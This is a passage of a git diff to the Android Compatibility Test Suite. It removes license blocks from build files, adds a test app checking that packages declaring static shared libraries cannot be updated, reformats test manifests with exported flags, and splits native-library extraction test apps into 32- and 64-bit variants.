-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp6",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
index 62489e2..8a2388d 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp7",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
index 019c3c4..b3ee2aa 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderRecursive",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibTestApp/Android.bp
new file mode 100644
index 0000000..d715287
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibTestApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "cts-install-lib",
+    ],
+    java_resources: [
+        ":CtsStaticSharedLibProviderApp5",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibTestApp/AndroidManifest.xml
new file mode 100755
index 0000000..51589ea
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.lib.app">
+
+    <application>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.os.lib.app"/>
+</manifest>
+
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS b/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS
new file mode 100644
index 0000000..4247866
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+rhedjao@google.com
+patb@google.com
+toddke@google.com
+
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/src/android/os/lib/app/StaticSharedLibsTests.java b/hostsidetests/os/test-apps/StaticSharedLibTestApp/src/android/os/lib/app/StaticSharedLibsTests.java
new file mode 100644
index 0000000..29bb524
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/src/android/os/lib/app/StaticSharedLibsTests.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.app;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+import android.content.pm.SharedLibraryInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Optional;
+
+/**
+ * On-device tests driven by StaticSharedLibsHostTests.
+ */
+@RunWith(AndroidJUnit4.class)
+public class StaticSharedLibsTests {
+
+    private static final String STATIC_LIB_PROVIDER5_PKG = "android.os.lib.provider";
+    private static final String STATIC_LIB_PROVIDER5_NAME = "android.os.lib.provider_2";
+    private static final TestApp TESTAPP_STATIC_LIB_PROVIDER5 = new TestApp(
+            "TestStaticSharedLibProvider5", STATIC_LIB_PROVIDER5_PKG, 1, /*isApex*/ false,
+            "CtsStaticSharedLibProviderApp5.apk");
+
+    @Before
+    public void setUp() throws Exception {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES);
+        clear();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        clear();
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testSamegradeStaticSharedLibFail() throws Exception {
+        Install.single(TESTAPP_STATIC_LIB_PROVIDER5).commit();
+        assertThat(getSharedLibraryInfo(STATIC_LIB_PROVIDER5_NAME)).isNotNull();
+
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "Packages declaring static-shared libs cannot be updated",
+                Install.single(TESTAPP_STATIC_LIB_PROVIDER5));
+    }
+
+    private void clear() {
+        uninstallSharedLibrary(STATIC_LIB_PROVIDER5_PKG, STATIC_LIB_PROVIDER5_NAME);
+    }
+
+    private SharedLibraryInfo getSharedLibraryInfo(String libName) {
+        final PackageManager packageManager = InstrumentationRegistry.getContext()
+                .getPackageManager();
+        final Optional<SharedLibraryInfo> libraryInfo = packageManager.getSharedLibraries(0)
+                .stream().filter(lib -> lib.getName().equals(libName)).findAny();
+        return libraryInfo.isPresent() ? libraryInfo.get() : null;
+    }
+
+    private void uninstallSharedLibrary(String packageName, String libName) {
+        if (getSharedLibraryInfo(libName) == null) {
+            return;
+        }
+        runShellCommand("pm uninstall " + packageName);
+        assertThat(getSharedLibraryInfo(libName)).isNull();
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
index b82a420..d41aabe 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedNativeLibConsumer",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
index 4623e45..76e2fd5 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedNativeLibProvider",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
index 3491ad2..3062d9e 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedNativeLibProvider1",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/packagemanager/codepath/Android.bp b/hostsidetests/packagemanager/codepath/Android.bp
index 1927ee3..059f3c6 100644
--- a/hostsidetests/packagemanager/codepath/Android.bp
+++ b/hostsidetests/packagemanager/codepath/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsCodePathHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/codepath/app/Android.bp b/hostsidetests/packagemanager/codepath/app/Android.bp
index 666244d..fc71169 100644
--- a/hostsidetests/packagemanager/codepath/app/Android.bp
+++ b/hostsidetests/packagemanager/codepath/app/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CodePathTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/packagemanager/dynamicmime/Android.bp b/hostsidetests/packagemanager/dynamicmime/Android.bp
index 39247de..3608b51 100644
--- a/hostsidetests/packagemanager/dynamicmime/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/Android.bp
@@ -11,10 +11,6 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsDynamicMimeHostTestCases",
     defaults: ["cts_defaults"],
@@ -30,4 +26,4 @@
         "compatibility-host-util",
         "truth-prebuilt",
     ],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/app/Android.bp b/hostsidetests/packagemanager/dynamicmime/app/Android.bp
index 1d34cf4..21fcf05 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDynamicMimeHelperApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml
index 1373430..9b1e295 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.helper">
+     package="android.dynamicmime.helper">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.helper.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +28,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.helper.FILTER_INFO_HOOK_group_second"/>
@@ -38,15 +39,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.helper" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.helper">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
index a2b7c08..4dfa7d1 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,11 +16,12 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.preferred">
+     package="android.dynamicmime.preferred">
     <application android:testOnly="true"
-                 android:label="TestApp.Application">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+         android:label="TestApp.Application">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter android:label="TestApp.FirstActivity">
                 <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
                 <action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_first"/>
@@ -30,7 +30,8 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity">
+        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity"
+             android:exported="true">
             <intent-filter android:label="TestApp.TwoGroupsActivity">
                 <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
                 <action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_both"/>
@@ -61,15 +62,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.preferred">
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.preferred">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml
index 802d13c..5241aa2 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.update">
+     package="android.dynamicmime.update">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +28,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_second"/>
@@ -38,15 +39,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.update" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.update">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml
index adc93cf..f9ddf44 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.update">
+     package="android.dynamicmime.update">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +28,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_second"/>
@@ -37,15 +38,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.update" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.update">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml
index e93a3d5..53e4273 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,17 +16,19 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.update">
+     package="android.dynamicmime.update">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_first"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_second"/>
@@ -37,15 +38,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.update" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.update">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/common/Android.bp b/hostsidetests/packagemanager/dynamicmime/common/Android.bp
index 97a8893..a80aba7 100644
--- a/hostsidetests/packagemanager/dynamicmime/common/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/common/Android.bp
@@ -12,13 +12,9 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "CtsDynamicMimeCommon",
     defaults: ["cts_defaults"],
     sdk_version: "test_current",
     srcs: ["src/**/*.java"],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index 971cdc6..907d463 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -11,10 +11,6 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDynamicMimeTestApp",
     defaults: ["cts_defaults"],
@@ -24,7 +20,6 @@
         "compatibility-device-util-axt",
         "CtsDynamicMimeCommon",
         "hamcrest-library",
-        "android-support-test",
         "androidx.test.uiautomator_uiautomator",
     ],
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml b/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml
index d31dcf3..102a800 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml
@@ -16,11 +16,12 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.dynamicmime.testapp">
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+     package="android.dynamicmime.testapp">
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.testapp.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +29,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.testapp.FILTER_INFO_HOOK_group_second"/>
@@ -37,7 +39,8 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity">
+        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -47,7 +50,8 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.dynamicmime.common.activity.TwoGroupsAndTypeActivity">
+        <activity android:name="android.dynamicmime.common.activity.TwoGroupsAndTypeActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -59,8 +63,7 @@
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.testapp">
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.testapp">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/extractnativelibs/Android.bp b/hostsidetests/packagemanager/extractnativelibs/Android.bp
index 2aeebc5..952d7bf 100644
--- a/hostsidetests/packagemanager/extractnativelibs/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsExtractNativeLibsHostTestCases",
     defaults: ["cts_defaults"],
@@ -29,6 +25,7 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
+        "cts-host-utils",
     ],
     java_resource_dirs: ["res"],
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
index f80aa9e..85dc95f 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libtest_extract_native_libs",
     gtest: false,
@@ -26,11 +22,52 @@
         "-Wno-unused-parameter",
     ],
     header_libs: ["jni_headers"],
+    shared_libs: ["liblog"],
     sdk_version: "current",
 }
 
 android_test_helper_app {
-    name: "CtsExtractNativeLibsAppFalse",
+    name: "CtsExtractNativeLibsAppFalse32",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_no_extract/src/**/*.java"],
+    manifest: "app_no_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: true,
+    compile_multilib: "32",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppFalse64",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_no_extract/src/**/*.java"],
+    manifest: "app_no_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: true,
+    compile_multilib: "64",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppFalseBoth",
     defaults: ["cts_defaults"],
     sdk_version: "current",
     srcs: ["app_no_extract/src/**/*.java"],
@@ -49,7 +86,47 @@
 }
 
 android_test_helper_app {
-    name: "CtsExtractNativeLibsAppTrue",
+    name: "CtsExtractNativeLibsAppTrue32",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_extract/src/**/*.java"],
+    manifest: "app_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: false,
+    compile_multilib: "32",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppTrue64",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_extract/src/**/*.java"],
+    manifest: "app_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: false,
+    compile_multilib: "64",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppTrueBoth",
